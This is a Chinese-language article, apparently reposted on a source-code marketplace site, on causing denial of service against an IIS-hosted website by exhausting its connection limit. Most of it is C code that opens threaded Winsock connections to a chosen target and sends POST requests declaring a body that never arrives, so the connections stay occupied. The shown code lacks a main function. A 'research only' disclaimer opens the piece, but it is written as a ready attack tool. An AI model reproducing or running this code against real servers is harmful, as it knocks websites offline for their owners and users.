源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

利用IIS最大连接数实现网站DOS(图)

  • 时间:2022-08-19 07:29 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:利用IIS最大连接数实现网站DOS(图)
安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负! 最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。 这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。 具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下: #include "winsock.h" #include "stdio.h" #include "string.h" #include "io.h" #pragma comment(lib,"ws2_32.lib") #define BUFLEN 1024 #define MAXThreadCount 10 //设置最大线程数 int ThreadCount=0;  struct mydata {  char *ip;  int port; };   unsigned int resolve(char *name) {  struct hostent *he;  unsigned int ip;  if((ip=inet_addr(name))==(-1))  {  if((he=gethostbyname(name))==0)  return 0;  memcpy(&ip,he->h_addr,4);  }  return ip; }   DWORD WINAPI Dos(LPVOID lpParam )  {   mydata *csdn = (mydata*)lpParam;  struct sockaddr_in server;  server.sin_family = AF_INET;  server.sin_port = htons(csdn->port);  server.sin_addr.s_addr = resolve((char*)csdn->ip);  if(server.sin_addr.s_addr==0)  {  printf("Don’t find address %s\n",(char*)csdn->ip);  exit(0);  }  int my;  char buf[100]="POST / HTTP/1.1\r\nHost: ";  strcat(buf,(char*)csdn->ip);  strcat(buf," \r\nContent-Length: 10\r\n\r\n");  my=socket(PF_INET,SOCK_STREAM,0);  if(my==INVALID_SOCKET)  {  printf("ERROR");  exit(0);  } if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)  {  printf("Socket ERROR:%d",GetLastError());  exit(0);  }  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}  ThreadCount--;  return 0;  }  void thread ( char *a1 , char *a2 , char *a3 ) {  static mydata tmp;  tmp.ip = a1;  tmp.port = atoi(a2);  DWORD dwThreadId;  HANDLE hThread;   WSADATA ws;  if (WSAStartup( MAKEWORD(2,2), &ws )!=0)  {  printf(" [-] WSAStartup() error\n");  exit(0);  }  hThread = CreateThread(   NULL, // no security attributes   0, // use default stack size   Dos, // thread function   &tmp, // argument to thread function   0, // use default creation flags   &dwThreadId); // returns the thread identifier   if (hThread == NULL)   printf( "CreateThread failed." );   ThreadCount++;  Sleep(200); //延时,否则CPU会用满……  CloseHandle(hThread); } 
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部